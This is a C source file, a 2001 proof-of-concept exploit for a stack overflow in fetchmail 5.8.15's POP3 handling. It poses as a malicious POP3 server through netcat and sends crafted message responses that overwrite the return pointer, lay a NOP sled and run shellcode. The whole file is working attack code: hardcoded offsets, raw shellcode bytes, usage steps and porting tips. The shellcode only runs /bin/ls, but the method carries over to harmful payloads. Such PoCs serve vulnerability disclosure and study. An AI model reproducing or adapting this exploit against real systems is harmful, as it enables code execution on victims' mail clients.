/* fetchmail proof of concepts i386 exploit
 * Copyright (C) 2001 Salvatore Sanfilippo <antirez () invece org>
 * Code under the GPL license.
 *
 * Usage: ./a.out | nc -l -p 3333
 * fetchmail localhost -P 3333 -p POP3
 *
 * This is a bad exploit with offset carefully selected
 * to work in my own system. It will probably not work in
 * your system if you don't modify RETR_OFFSET and SHELL_PTR,
 * but you may try to set the SHELL_PTR to 0xAAAAAAAA
 * and use gdb to obtain the proof that your fetchmail is vulnerable
 * without to exploit it.
 * Or just read the code in pop3.c.
 *
 * To improve the exploit portability you may put the shellcode inside
 * one of the static char buffers, grep 'static char' *.c.
 *
 * Tested on fetchmail 5.8.15 running on Linux 2.4.6
 *
 * On success you should see the ls output.
 */

#include <stdio.h>

#define MESSAGES 10
#define RETR_OFFSET -20
#define SHELL_PTR 0xbfffba94

int main(void)
{
	int ish = SHELL_PTR;
	int ret_offset = -10;
	char shellcode[] = /* take the shellcode multiple of 4 in size */
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/ls\0\0";
	int *sc = (int*) shellcode;
	int noop = 0x90909090;
	int i;

	/* +OK for user and password, than report the number of messages */
	printf("+OK\r\n+OK\r\n+OK\r\n+OK %d 0\r\n+OK 0\r\n+OK\r\n", MESSAGES);
	/* Overwrite the RET pointer */
	for (i = ret_offset-20; i < ret_offset+20; i++)
		printf("%d %d\r\n", i, ish);
	/* Put some NOP */
	for (i = 1; i < 21; i++)
		printf("%d %d\r\n", i, noop);
	/* Put the shell code in the buffer */
	for (i = 21; i < 21+(sizeof(shellcode)/4); i++)
		printf("%d %d\r\n", i, *sc++);
	printf(".\r\n"); /* POP data term */
	return 0;
}